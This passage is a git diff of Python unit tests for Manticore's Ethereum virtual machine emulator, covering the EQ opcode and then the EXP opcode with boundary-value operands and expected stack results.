+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_77(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_78(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_79(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_80(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_81(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+if __name__ == '__main__':
+    unittest.main()
diff --git a/tests/EVM/test_EVMEXP.py b/tests/EVM/test_EVMEXP.py
new file mode 100644
index 0000000..a34c511
--- /dev/null
+++ b/tests/EVM/test_EVMEXP.py
@@ -0,0 +1,2306 @@
+
+import struct
+import unittest
+import json
+from manticore.platforms import evm
+from manticore.core import state
+from manticore.core.smtlib import Operators, ConstraintSet
+import os
+
+
+class EVMTest_EXP(unittest.TestCase):
+    _multiprocess_can_split_ = True
+    maxDiff=None 
+    def _execute(self, new_vm):
+        last_returned = None
+        last_exception = None
+        try:
+            new_vm.execute()
+        except evm.Stop, e:
+            last_exception = "STOP"
+        except evm.NotEnoughGas:
+            last_exception = "OOG"
+        except evm.StackUnderflow:
+            last_exception = "INSUFICIENT STACK"
+        except evm.InvalidOpcode:
+            last_exception = "INVALID"
+        except evm.SelfDestruct:
+            last_exception = "SUICIDED"
+        except evm.Return as e:
+            last_exception = "RETURN"
+            last_returned = e.data
+        except evm.Revert:
+            last_exception = "REVERT"
+            
+        return last_exception, last_returned
+
+    def test_EXP_1(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639935L])
+
+    def test_EXP_2(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_EXP_3(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_EXP_4(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_EXP_5(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [104454113832828984621679659393253883542637298667129925477260695573804969029359L])
+
+    def test_EXP_6(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_EXP_7(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_EXP_8(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_EXP_9(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_EXP_10(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_EXP_11(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_EXP_12(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_EXP_13(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_EXP_14(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_EXP_15(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_EXP_16(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_EXP_17(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_EXP_18(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_EXP_19(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639935L])
+
+    def test_EXP_20(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_EXP_21(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_EXP_22(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819952L])
+
+    def test_EXP_23(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301263L])
+
+    def test_EXP_24(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_EXP_25(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_EXP_26(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48L])
+
+    def test_EXP_27(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
